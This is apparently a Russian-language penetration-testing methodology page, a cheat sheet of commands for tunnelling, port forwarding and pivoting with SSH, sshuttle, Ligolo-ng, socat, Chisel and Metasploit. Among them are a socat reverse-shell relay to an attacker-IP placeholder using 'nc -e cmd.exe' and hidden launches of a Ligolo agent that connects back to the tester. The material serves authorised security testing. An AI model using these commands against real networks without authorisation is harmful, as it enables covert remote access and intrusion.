Туннели и проброс портов
:::tip Формат страницы
Порядок действий описан по‑русски. В методике сохранены заголовки (частично локализованы типовые термины), таблицы, иллюстрации и блоки кода: команды и параметры на английском, без перевода синтаксиса.
:::
Порядок действий
- Определите доступные каналы выхода и доверенные сегменты.
- Настройте туннели или ретрансляцию в соответствии с правилами теста.
- Проверяйте маршрут и стабильность сессии перед движением дальше.
- Синтаксис утилит в методике не меняется.
Методика
SSH
Local Port Forwarding
ssh -L localhost:8000:<VICTIM_IP>:80 <PIVOT_USER>@<PIVOT_IP> [-fN]
Remote Port Forwarding
ssh -R 8080:localhost:80 <PIVOT_USER>@<PIVOT_IP> [-fN]
Proxy
ssh -D 1337 <PIVOT_USER>@<PIVOT_IP> [-fN]
Internet access to an offline machine
sudo apt update && sudo apt install squid -y
sudo service squid restart
export http_proxy=http://127.0.0.1:3129
export https_proxy=http://127.0.0.1:3129
Acquire::http::Proxy "http://localhost:3129";
Acquire::https::Proxy "https://localhost:3129";
ssh -R 3129:localhost:3128 <USER>@<OFFILNE_HOST>
Sshuttle
sshuttle -r <PIVOT_USER>@<PIVOT_IP> {-N | <SUBNET/X>}
sshuttle -r <PIVOT_USER>@<PIVOT_IP> --ssh-cmd "ssh -i <PRIVATE_KEY>" {-N | <SUBNET/X>}
sshuttle -r <PIVOT_USER>@<PIVOT_IP> <SUBNET/X> -x <PIVOT_IP>
Ligolo-ng
sudo ip tuntap add user auditor mode tun ligolo
sudo ip link set ligolo up
./ligo_proxy -selfcert -laddr 0.0.0.0:8080
# Meterpreter
execute -H -f C:\\Windows\\Tasks\\ligo_agent.exe -a "-ignore-cert -connect <YOUR_IP>:8080"
# Windows
Start-Process -WindowStyle Hidden -FilePath "C:\Windows\Tasks\ligo_agent.exe" -ArgumentList "-ignore-cert", "-connect", "<YOUR_IP>:8080"
# Linux
./ligo_agent -ignore-cert -connect <YOUR_IP>:<PORT> &
ligolo-ng » session
ligolo-ng » <SESSION>
[Agent : www-data@web05] » start
sudo ip route add <VICTIMS_NETWORK>/24 dev ligolo
Remote Port Forwarding
listener_add --addr 0.0.0.0:8080 --to 127.0.0.1:80 --tcp
Socat
Reverse Shell Relay
kali@kali:$ sudo nc -lvnp 443
user@victim_ONE:$ socat tcp-l:8000 tcp:<ATTACKER_IP>:443
user@victim_TWO:$ nc 127.0.0.1 8000 -e C:\Windows\System32\cmd.exe
Port Forwarding (Stealthy)
./socat tcp-l:8001 tcp-l:8000,fork,reuseaddr &
./socat tcp:<PIVOTING_IP>:8001 tcp:<TARGET_IP>:80,fork &
Port Forwarding (Reverse)
socat -v TCP-LISTEN:<PIVOTING_PORT> TCP-LISTEN:<SRC_PORT>
# Example
socat -v TCP-LISTEN:10000 TCP-LISTEN:8080
socat TCP:<ATTACKER_IP>:<PIVOTING_PORT> TCP:localhost:<DST_PORT>
# Example
socat TCP:10.9.160.251:10000 TCP:localhost:80
Chisel
Reverse SOCKS Proxy
./chisel server -p <LISTEN_PORT> --reverse &
./chisel client <ATTACKER_IP>:<LISTEN_PORT> R:socks &
Forwards SOCKS Proxy
./chisel server -p <LISTEN_PORT> --socks5
./chisel client <TARGET_IP>:<LISTEN_PORT> CHISEL_PORT_SERVER:socks
Remote Port Forwarding
./chisel server -p <LISTEN_PORT> --reverse &
./chisel client <ATTACKER_IP>:<LISTEN_PORT> R:<LOCAL_PORT>:<TARGET_IP>:<TARGET_PORT> &
Local Port Forwarding
./chisel server -p <LISTEN_PORT>
./chisel client <PIVOT_IP>:<PIVOT_PORT> <LOCAL_PORT>:<TARGET_IP>:<TARGET_PORT>
# Compromissed
./chisel server -p 8081
# Attacking machine
./chisel client 192.168.1.2:8081 8080:192.168.2.4:80
Metasploit
# Might also work auxiliary/server/socks4a
use auxiliary/server/socks_proxy
exploit
sudo bash -c 'echo "socks4 127.0.0.1 1080" >> /etc/proxychains.conf'